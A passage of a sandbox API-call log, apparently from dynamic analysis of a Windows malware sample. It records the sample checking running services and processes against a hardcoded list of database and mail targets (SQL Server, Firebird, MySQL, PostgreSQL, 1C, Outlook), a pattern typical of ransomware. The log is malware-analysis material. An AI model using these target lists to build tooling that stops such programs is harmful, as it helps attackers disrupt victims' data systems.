1 [0055.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0055.389] lstrlenW (lpString="CryptSvc") returned 8 [0055.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0055.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0055.390] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0055.390] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0055.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0055.390] lstrlenW (lpString="CscService") returned 10 [0055.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0055.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0055.390] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0055.390] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0055.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0055.390] lstrlenW (lpString="DcomLaunch") returned 10 [0055.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0055.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0055.390] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0055.390] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0055.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0055.390] lstrlenW (lpString="Dhcp") returned 4 [0055.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0055.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0055.390] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0055.390] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0055.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0055.390] lstrlenW (lpString="Dnscache") returned 8 [0055.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0055.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0055.390] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0055.390] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0055.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0055.390] lstrlenW (lpString="DPS") returned 3 [0055.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0055.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0055.391] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0055.391] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0055.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0055.391] lstrlenW (lpString="eventlog") returned 8 [0055.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0055.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0055.391] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0055.391] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0055.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0055.391] lstrlenW (lpString="EventSystem") returned 11 [0055.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0055.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0055.391] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0055.391] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0055.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0055.391] lstrlenW (lpString="gpsvc") returned 5 [0055.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0055.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0055.391] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0055.391] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0055.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0055.391] lstrlenW (lpString="iphlpsvc") returned 8 [0055.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0055.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0055.391] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0055.391] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0055.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0055.391] lstrlenW (lpString="LanmanServer") returned 12 [0055.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0055.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0055.392] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0055.392] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0055.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0055.392] lstrlenW (lpString="LanmanWorkstation") returned 17 [0055.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0055.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0055.392] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0055.392] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0055.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0055.392] lstrlenW (lpString="lmhosts") returned 7 [0055.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0055.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0055.392] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0055.392] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0055.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0055.392] lstrlenW (lpString="MMCSS") returned 5 [0055.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0055.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0055.392] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0055.392] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0055.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0055.392] lstrlenW (lpString="MpsSvc") returned 6 [0055.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0055.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0055.392] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0055.392] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0055.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0055.392] lstrlenW (lpString="Netman") returned 6 [0055.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0055.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0055.393] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0055.393] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0055.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0055.393] lstrlenW (lpString="netprofm") returned 8 [0055.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0055.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0055.393] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0055.393] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0055.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0055.393] lstrlenW (lpString="NlaSvc") returned 6 [0055.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0055.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0055.393] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0055.393] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0055.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0055.393] lstrlenW (lpString="nsi") returned 3 [0055.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0055.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0055.393] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0055.393] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0055.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0055.393] lstrlenW (lpString="PcaSvc") returned 6 [0055.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0055.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0055.393] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0055.393] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0055.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0055.393] lstrlenW (lpString="PlugPlay") returned 8 [0055.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0055.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0055.394] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0055.394] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0055.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0055.394] lstrlenW (lpString="Power") returned 5 [0055.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0055.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0055.394] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0055.394] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0055.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0055.394] lstrlenW (lpString="ProfSvc") returned 7 [0055.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0055.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0055.394] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0055.394] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0055.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0055.394] lstrlenW (lpString="RpcEptMapper") returned 12 [0055.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0055.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0055.394] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0055.394] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0055.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0055.394] lstrlenW (lpString="RpcSs") returned 5 [0055.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0055.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0055.394] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0055.394] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0055.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0055.394] lstrlenW (lpString="SamSs") returned 5 [0055.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0055.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0055.395] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0055.395] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0055.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0055.395] lstrlenW (lpString="Schedule") returned 8 [0055.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0055.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0055.395] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0055.395] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0055.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0055.395] lstrlenW (lpString="SENS") returned 4 [0055.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0055.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0055.395] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0055.395] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0055.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0055.395] lstrlenW (lpString="ShellHWDetection") returned 16 [0055.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0055.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0055.395] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0055.395] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0055.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0055.395] lstrlenW (lpString="Spooler") returned 7 [0055.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0055.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0055.395] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0055.395] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0055.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0055.395] lstrlenW (lpString="swprv") returned 5 [0055.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0055.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0055.396] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0055.396] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0055.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0055.396] lstrlenW (lpString="SysMain") returned 7 [0055.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0055.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0055.396] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0055.396] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0055.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0055.396] lstrlenW (lpString="Themes") returned 6 [0055.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0055.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0055.396] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0055.396] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0055.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0055.396] lstrlenW (lpString="TrkWks") returned 6 [0055.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0055.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0055.396] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0055.396] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0055.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0055.396] lstrlenW (lpString="UxSms") returned 5 [0055.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0055.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0055.396] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0055.396] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0055.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0055.396] lstrlenW (lpString="VSS") returned 3 [0055.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0055.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0055.397] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0055.397] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0055.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0055.397] lstrlenW (lpString="WdiServiceHost") returned 14 [0055.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0055.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0055.397] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0055.397] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0055.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0055.397] lstrlenW (lpString="WdiSystemHost") returned 13 [0055.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0055.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0055.397] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0055.397] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0055.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0055.397] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0055.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0055.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0055.397] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0055.397] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0055.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0055.397] lstrlenW (lpString="Winmgmt") returned 7 [0055.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0055.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0055.397] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0055.397] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0055.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0055.397] lstrlenW (lpString="WPDBusEnum") returned 10 [0055.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0055.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0055.398] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0055.398] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0055.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0055.398] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36b8758 | out: hHeap=0x5a0000) returned 1 [0055.398] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f4 [0055.403] Process32FirstW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0055.403] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0055.404] lstrlenW (lpString="System") returned 6 [0055.404] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0055.404] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0055.404] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0055.404] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0055.404] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0055.404] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0055.404] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0055.404] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0055.405] lstrlenW (lpString="smss.exe") returned 8 [0055.405] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0055.405] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0055.405] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0055.405] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0055.405] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0055.405] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0055.405] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0055.405] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0055.406] lstrlenW (lpString="csrss.exe") returned 9 [0055.406] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0055.406] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0055.406] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0055.406] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0055.406] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0055.406] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0055.406] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0055.406] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0055.407] lstrlenW (lpString="wininit.exe") returned 11 [0055.407] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0055.407] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0055.407] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0055.407] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0055.407] lstrlenW (lpString="csrss.exe") returned 9 [0055.407] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0055.408] lstrlenW (lpString="winlogon.exe") returned 12 [0055.408] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0055.408] lstrlenW (lpString="services.exe") returned 12 [0055.409] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0055.409] lstrlenW (lpString="lsass.exe") returned 9 [0055.409] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0055.410] lstrlenW (lpString="lsm.exe") returned 7 [0055.410] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.410] lstrlenW (lpString="svchost.exe") returned 11 [0055.410] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.411] lstrlenW (lpString="svchost.exe") returned 11 [0055.411] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.411] lstrlenW (lpString="svchost.exe") returned 11 [0055.411] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.412] lstrlenW (lpString="svchost.exe") returned 11 [0055.412] Process32NextW (in: hSnapshot=0x1f4, 